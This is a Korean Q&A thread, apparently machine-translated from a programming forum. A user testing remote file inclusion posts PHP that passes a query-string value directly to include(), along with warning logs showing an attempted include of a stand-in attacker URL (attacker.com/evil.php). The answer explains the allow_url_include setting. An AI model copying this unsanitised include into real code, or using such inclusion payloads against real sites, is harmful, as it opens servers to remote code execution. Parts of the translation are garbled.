2017-09-09 4 views
1

문제가 있습니다. 원격 파일 포함 삽입을 테스트하고 PHP를 사용하여 URL 쿼리 문자열의 파일을 포함하려고했습니다. 하지만 여기에 몇 가지 경고 메시지가 나타납니다. 아래 코드를 설명하고 있습니다.PHP를 사용하여 파일을 포함 할 수 없습니다.

<?php 
$file = $_GET['file']; 
include($file); 
?> 

다음 메시지가 나타납니다.

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3 

Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3 

Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3 

여기서 나는 http://localhost/test/remote.php?file=http://kooleedback.com/about.php과 같은 원격 파일을 호출하고 있습니다. 여기서 나는 그것이 어떻게 성공적으로 포함될 수 있는지, 그리고 그것이 어떻게 예방 될 수 있는지를 알아야합니다.

답변

5

서버가 비활성화 allow_url_include 옵션이 있습니다. 즉 외부 URL이 아닌 include() 인 로컬 파일에만 액세스 할 수 있습니다.

일반적으로는 의미가 원격 .php URL로 include()을 사용하지 않습니다. 서버에서 .php 파일을 요청하면 소스 코드를 반환하지 않고 스크립트를 실행하고 출력을 반환합니다. 그러나 include()은 PHP 코드를 가져와야합니다. PHP 코드는 포함 스크립트에있는 것처럼 실행됩니다.

당신이 file_get_contents($file)하지 include($file) 사용해야하는 원격 데이터를 얻고 싶다면

.

+0

예, 당으로 내가 알 수 없다 포함되는 경우 비트 간 메시지를 구현 한 후. – subhra

관련 문제